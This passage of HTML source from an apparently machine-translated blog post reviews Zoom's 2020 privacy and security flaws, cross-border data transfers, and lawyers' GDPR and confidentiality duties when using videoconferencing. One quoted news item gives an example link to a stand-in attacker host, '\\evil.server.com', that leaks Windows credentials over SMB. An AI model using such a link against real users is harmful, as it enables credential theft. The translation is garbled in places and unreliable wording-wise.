href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">Electronic Frountier Foundation</a>&nbsp;alerts that users still don’t know how to erase the information collected</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any information that was gathered about their device.&nbsp;This removal also doesn’t address any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">The EFF points out</a>&nbsp;&nbsp;that Zoom administrators can get detailed information about how, when, and where users are using the app, with real-time dashboards.&nbsp;As it’s an intentional feature, it’s unlikely the companywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We read in&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">Forbes</a>&nbsp;magazine&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘&nbsp;<em>Ultimately, anyone having sensitive conversations should therefore consider whether Zoom is suitable, he noted.&nbsp;“I would think very carefully before I used Zoom to communicate classified information, trade secrets or confidential medical data,” Marczak said.&nbsp;“If you are a human rights defender, lawyer, journalist, or anyone else working on sensitive topics that you think a nation-state or other powerful adversary might be interested in, I would advise you to wait for Zoom to make security improvements in their app before you use it. ”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple has introduced an update to remove the ‘&nbsp;<em>hidden Zoom web server’</em>&nbsp;&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/&amp;usg=ALkJrhh25eSEylS1aNG_bR0JHeT-AQvq1w\">Thousands of Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/techcrunch.com/2019/07/10/apple-silent-update-zoom-app&amp;usg=ALkJrhgJXQe1DB8UBuAzLhxtOz4kyjX_OQ\">Apple has pushed a silent Mac update to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/&amp;usg=ALkJrhhVSdjQlTBa4Dpxv3xYtX0YEeYCTw\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;&nbsp;people’s Windows local login usernames and hashed passwords via Zoom by getting them to click on a URL in a chat message that connects to a malicious SMB file server.&nbsp;A link such as&nbsp;&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked on, cause Windows to connect to&nbsp;&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in user’s credentials in hope of fetching&nbsp;&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em></li><li><em>Ex-NSA hacker drops new zero-day doom for Zoom.&nbsp;Hot on the heels of two security researchers&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/hackerfantastic/status/1245133371262619654&amp;usg=ALkJrhg_sX26m-Ods_n0syl9vFWdImTrQQ\">finding a Zoom bug</a>&nbsp;that can be abused to steal Windows passwords, another security researcher found two new bugs that can be used to take over a Zoom user’s Mac, including tapping into the webcam and microphone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle security researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://objective-see.com/blog/blog_0x56.html&amp;usg=ALkJrhgPyuX417n0g_qzW0D-8OBVqtOhdg\">on his blog</a>&nbsp;&nbsp;Wednesday, which he shared&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/04/01/zoom-doom/&amp;usg=ALkJrhiyMa3kJZnAv6KNqNKPciU7FuYhUg\">with TechCrunch</a>&nbsp;.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Obviously with the galloping success of Zoom, we see a rookie of ‘&nbsp;<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">Researchers see sharp rise in fake Zoom domains as hackers target remote workers&nbsp;</a></em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfer of personal data outside the EU / EEA</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom is a California-based company.&nbsp;As such, he is self certified Privacy Shield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a>&nbsp;has revealed the transfer of data to China.&nbsp;The CEO acknowledged this fact attributing it to a simple referral error.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No one can ignore the war of industrial espionage.&nbsp;Zoom, like any American company is subject to the US Cloud Act.&nbsp;In other words at any time the data can be claimed by the US government.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny&amp;usg=ALkJrhiGD1pXHKHX5dQbKVkM_HpYbRbB0Q\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus Crisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach or unauthorised access to data</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any unauthorised access to personal data must be assessed as to the seriousness of the potential consequences for the individuals concerned.&nbsp;In the event of a serious risk, they must be notified as soon as possible and no later than&nbsp;<strong>within 72 hours</strong>&nbsp;.&nbsp;The data protection authority must be notified within 72 hours at the latest.&nbsp;In all cases the data breach must be listed in the internal register in accordance with the provisions of&nbsp;<strong>&nbsp;<a href=\"https://gdpr-info.eu/art-33-gdpr/\">Article&nbsp;33</a></strong>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting&nbsp;<strong>screen shots</strong>&nbsp;of videoconference revealing the ID number of the meeting and the images of the participants accompanied by their names or pseudonyms can be considered as a breach of confidentiality,</li><li><strong>2</strong>&nbsp;major recent&nbsp;<strong>examples</strong>&nbsp;:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Boris Johnson</a>&nbsp;CNB posting a board meeting or their GA.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The specific case of the use of such a tool by lawyers or professional associations</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context where so many cries of alarms were launched about the failures of this tool, as the New York Attorney General investigations asking the schools not to use the application, followed by other state authorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NY Attorney General to look at Zoom</a>&nbsp;&nbsp;:</em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743&amp;usg=ALkJrhiuzK-w-kyBWl0sbmLQ7fot4A0pjA\">Multiple state AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Use of video conferences for hearing outfits:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.linkedin.com/in/richardsusskind/detail/recent-activity/\">Richard Susskind</a>, President of the Society for Computers and Law announced two weeks ago :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/&amp;usg=ALkJrhiCKTGuQtVoub0CRXhok5whX6VpkQ\">Launched today: REMOTE COURTS WORLDWIDE, designed to help the global community of justice workers share experiences of ‘remote’ alternatives (audio, video, online) to traditional courts.&nbsp;This is a joint effort involving&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/scl-society-for-computers-and-law-/&amp;usg=ALkJrhiwdruKG-8NaK5C08MjAQ9Ix5762Q\">SCL – Society for Computers and Law</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/hm-courts-%26-tribunals-service/&amp;usg=ALkJrhii6pryNkI8AKlRiPOC4yuyaVCvDw\">HM Courts &amp; Tribunals Service (HMCTS)</a>&nbsp;, and the UK’s LawTech Delivery Panel.&nbsp;We must sixteen the moment and come together to accelerate the development of new ways of continuing to deliver just outcomes for court users.&nbsp;Please contribute content at…</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He later posted :<em>&nbsp;Update after 1 week. We now have news from 20 countries on REMOTE COURTS WORLDWIDE, a site that helps the global community of justice workers share experiences of ‘remote’ alternatives (audio, video, online) to traditional courts –</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The courts will resume face-to-face hearings when the current crisis is over. But remote working can be a much more efficient way of delivering justice. My latest column for&nbsp;<a href=\"https://twitter.com/lawsocgazette\">@lawsocgazette</a>&nbsp;looks at how courts and tribunals are coping with online hearings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In France, on April 3, Maitre Aymeric Duhesne from Cabinet Montesquieu announced on Linkedin:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“With Le Bâtonnier Stephane Dhonte, the registry of the Lille Métropole Commercial Court and the judge for interim measures, we have just finalized the test of the 1st hearing by videoconference as allowed by order 2020-304 of 25.03.20.&nbsp;The Bar of Lille and its lawyers are force of proposal and immediately operational solution and thus mark their determination to allow the continuity of the access to the right to litigants, individuals and companies, in spite of the health crisis.&nbsp;Cases will be heard again next week and decisions made. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the same time, Stephen Almaseanu, Vice Prosecutor at the Paris Public Prosecutor’s Office, Section F2 (deputy head of the section, in charge of commercial affairs) announced on Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>The Commercial Court of Paris has just held, on Wednesday 1 and Thursday 2 April 2020, two days of dematerialized hearings which went very well. More than 40 urgent files, notably due to the presence of unpaid employees, were processed by videoconference using&nbsp;</em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/tixeo/&amp;usg=ALkJrhjlL6VMQdICyvreiF-UAxjOAu97mg\"><strong><em>TIXEO</em></strong></a><em>&nbsp;, French software ensuring total confidentiality of debates thanks to fully encrypted links, which allows it to be certified by the ‘&nbsp;</em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/anssi-fr/&amp;usg=ALkJrhibGge86G_h552xlifXKfXhk_xcgg\"><strong><em>ANSSI – National Agency for Information Systems Security</em></strong></a><em>. These concerned the opening of liquidations and conversions into liquidation, but also the opening of receiverships (remember, moreover, that since the beginning of the confinement, many ad hoc mandates and conciliations have also been opened). Congratulations in particular to the Registry of the Tribunal, which organized these very cumbersome hearings to set up by warning all stakeholders (managers, counsel, AJMJ, employee representatives) of the exact time of the passage of their file so that everyone can connect at the right time). Congratulations also to the judges and to all the interveners who made it possible to hold these very useful first hearings, which allow Parisian businesses to continue to have access to the court in the event of an emergency.</em>&nbsp;”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maître Emmanuel Brunau du Mans announced yesterday still on Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>For information, the Le Mans commercial court registry operates normally despite the closure of the Judicial precinct.&nbsp;A hotline is maintained at the usual hours.&nbsp;Finally, to deal with the emergency, hearings to initiate collective proceedings in secure TIXEO videoconferencing are held every Tuesday during confinement. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Where initiatives fall by the wayside in France, on the Anglo-Saxon side a concerted initiative has emerged:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite the popularity of this video conferencing tool, alarm cries continue to be heard against the use of Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://epic.org/&amp;usg=ALkJrhiJZ_2sMD4Ci1Zuh7sxzTsjyYelLA\">EPIC, Electronic Privacy Information Center</a>&nbsp;, requests investigations from the FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/JLLeitschuh/status/1148310958391091200&amp;usg=ALkJrhgI4bjj9BEWlwZmVy8aVjs6_0hOnw\" target=\"_blank\">Jonathan Leitschuh</a>&nbsp;, exposed a flaw allowing hackers to&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera&amp;usg=ALkJrhiMcI4p_P7CgUSyAbDFcJvGvzyuXQ\" target=\"_blank\">take over Zoom webcams</a>&nbsp;.&nbsp;The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf&amp;usg=ALkJrhhFmd1hBEUAtgcIaka36ZyWjwEmBQ\" target=\"_blank\">filed a complaint&nbsp;</a>&nbsp;about Zoom with the Federal Trade Commission last year</em>&nbsp;. ”</li><li>“&nbsp;<em>According to EPIC,&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5&amp;usg=ALkJrhiJc3vmcRd0mDljNMB8UiTBmAIf7g\" target=\"_blank\">Zoom</a>&nbsp;&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user’s web camera without the knowledge or consent of the user.&nbsp;As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks, ”&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it&amp;usg=ALkJrhg1t3hMtkwpP-l6IAx2SX9F2ZWrOQ\">the complaint alleged.&nbsp;</a></em>”</li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to“ open an investigation of Zoom’s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.”&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/epjxHgw&amp;usg=ALkJrhiZMUeldTAvi4Li9zYMi-BsxL20YQ\">Here’s the press release</a>&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>FBI issues alerts</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic&amp;usg=ALkJrhgjlGgm3E1CPmvt35Kru_yMJdDqcA\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;&nbsp;of so-called“ Zoom-bombing ”or videoconference hacking.&nbsp;“The FBI has received multiple reports of conferences being disrupted by pornographic and / or hate images and threatening language,” it said.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html&amp;usg=ALkJrhg8Kh5SaRN84sEzDGrrSSaWUI6PPw\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>–&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong><em>Zoom needs to clean up its privacy policy</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group Access Now, meanwhile, dug into Zoom’s privacy policy and practices and didn’t like what it saw,&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/&amp;usg=ALkJrhhUJZcKzJIZxS248ojOceFQVMRr_w\" target=\"_blank\" rel=\"noreferrer noopener\">sending a letter</a>&nbsp;&nbsp;to the company on March 19 asking it to publish a transparency report along the same lines as other companies that made it plain exactly what the company was doing with its users’ data. “&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blogs.harvard.edu/doc/2020/03/27/zoom/&amp;usg=ALkJrhjBBPAc4LCzv4szyugpess4uplkkg\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy, ”said Attorney General Tong. “In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform.• Consult your software company’s security information or your IT department.<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/gRcq9x2&amp;usg=ALkJrhgNjYVDYRSP5wLPDy3VqZOk7l9HOA\">Here’s the press release&nbsp;</a><strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What may be the responsibility of lawyers with regard to the processing of data following the use of an application that has raised so many questions&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lawyer is bound by professional confidentiality in the UK :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>The principle regulatory duties relating to confidentiality are to be found in the SRA Principles 2011 and at Chapter 4 of the SRA Code of Conduct 2011 (“the Code”). The relevant Principles are:1 – uphold the rule of law and the proper administration of justice;4 – act in the best interests of each client;5 – provide a proper standard of service to your clients; and6 – behave in a way that maintains the trust the public places in you and in the provision of legal services.whilst Outcome O (4.1) contains the main regulatory duty, namely that “you keep the affairs of clients confidential unless disclosure is required or permitted by law or the client consents;”<br>There is also a duty to ensure “that the affairs of clients should be kept confidential” which is to be found at section 1(3)(e) of the Legal Services Act 2007.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Need for an&nbsp;</strong><strong>impact study to be carried out before the adoption of the new technology,</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to ensure proper compliance with the data protection rules as developed above, lawyers in the footsteps of their professional orders, must ensure the compliance of the technical means used.&nbsp;The confidentiality of the information they are responsible for requires their utmost vigilance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this context, an evaluation of the impact of the new technology on the protection of the data processed is essential before any use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The UK ICO explains:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The&nbsp;<a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/accountability-and-governance/data-protection-impact-assessments/\">DPIA</a>&nbsp;is an important tool for the accountability of organisations: it helps them not only to build data processing respectful of privacy, but also to demonstrate their compliance with the General Data Protection Regulations (GDPR).&nbsp;It is compulsory for treatments likely to generate high risks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>You must do a DPIA for processing that is&nbsp;</em><strong><em>likely to result in a high risk</em></strong><em>&nbsp;to individuals. This includes some specified types of processing. You can use our screening checklists to help you decide when to do a DPIA.</em></li><li><em>It is also good practice to do a DPIA for any other major project which requires the processing of personal data.</em></li><li><em>Your DPIA must:</em><ul><li><em>describe the nature, scope, context and purposes of the processing;</em></li><li><em>assess necessity, proportionality and compliance measures;</em></li><li><em>identify and assess risks to individuals; and</em></li><li><em>identify any additional measures to mitigate those risks.</em></li></ul></li><li><em>To assess the level of risk, you must consider both the likelihood and the severity of any impact on individuals. High risk could result from either a high probability of some harm, or a lower possibility of serious harm.</em></li><li><em>You should consult your data protection officer (if you have one) and, where appropriate, individuals and relevant experts. Any processors may also need to assist you.<br>If you identify a high risk that you cannot mitigate, you must consult the ICO before starting the processing.<br>If you are processing for law-enforcement purposes, you should read this alongside the&nbsp;</em><a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-law-enforcement-processing/\"><em>Guide to Law Enforcement Processing</em></a><em>.<br>The ICO will give written advice within eight weeks, or 14 weeks in complex cases. If appropriate, we may issue a formal warning not to process the data, or ban the processing altogether.’</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In the absence of risk assessment measures, the negligent lawyer undertakes to challenge his responsibility.&nbsp;Professional orders should be made aware of this risk and support their members in finding a solution that meets the requirements of the regulations.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre&amp;usg=ALkJrhj_GiD593CgYcaIdhiRmy5yhzgGzg\">CNIL,</a>&nbsp;like other national protection authorities, has produced guides to this effect.&nbsp;Here is the document produced by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing&amp;usg=ALkJrhj0N_9262kmEQyLWZ2g9ZxBrT-4vg\">Irish Data Protection Commissioner</a>&nbsp;.&nbsp;A&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/&amp;usg=ALkJrhjBXVgB0bCbmY57J9GzcIkAJgkOlQ\">recommendation from ANSSI</a>&nbsp;is also available.&nbsp;<a 